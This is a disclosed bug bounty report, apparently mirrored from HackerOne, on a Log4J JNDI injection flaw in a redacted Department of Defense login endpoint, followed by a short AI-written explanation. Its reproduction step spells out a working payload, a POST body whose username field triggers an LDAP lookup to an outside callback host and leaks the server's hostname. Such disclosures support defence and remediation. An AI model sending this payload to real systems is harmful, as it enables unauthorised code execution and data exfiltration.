Skip to content
RCE Disclosed report Intermediate

██████_log4j - https://██████

The application logs user-controlled login form fields with a vulnerable version of Log4J, allowing an attacker to inject a JNDI lookup string. An attacker could trigger remote code execution against the application by sending a crafted POST request to the login endpoint.

hachimanxienim Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 6 hours
  • Fixed in 13 days
  • Disclosed after 2 months

Hi security team, i found a log4j vulnerability in your aplication

Impact

Logging untrusted or user controlled data with a vulnerable version of Log4J may result in Remote Code Execution (RCE) against your application. This includes untrusted data included in logged errors such as exception traces, authentication failures, and other unexpected vectors of user controlled input.

System Host(s)

███████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Send POST request to this endpoint ---> https://██████/mifs/j_spring_security_check

the post request:

j_username=${jndi:ldap://${hostName}.youinteractsserver}&j_password=password&logincontext=employee

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by hachimanxienim. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application logs the raw j_username value using a vulnerable Log4J version that performs JNDI lookups on ${...} expressions.

Impact

An attacker could achieve remote code execution against the application, though the report does not demonstrate a successful callback or execution.

What the attacker needed

Network access to the login endpoint; vulnerable Log4J version in use

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Log4J is a common Java library used to write log messages. Older versions treat certain text inside a log message as an instruction to fetch and run code from another server. Here, the login form fields are written to the log, so a crafted username can make the server contact an attacker-controlled address and potentially run their code.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by hachimanxienim

View all

1 more disclosed report, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.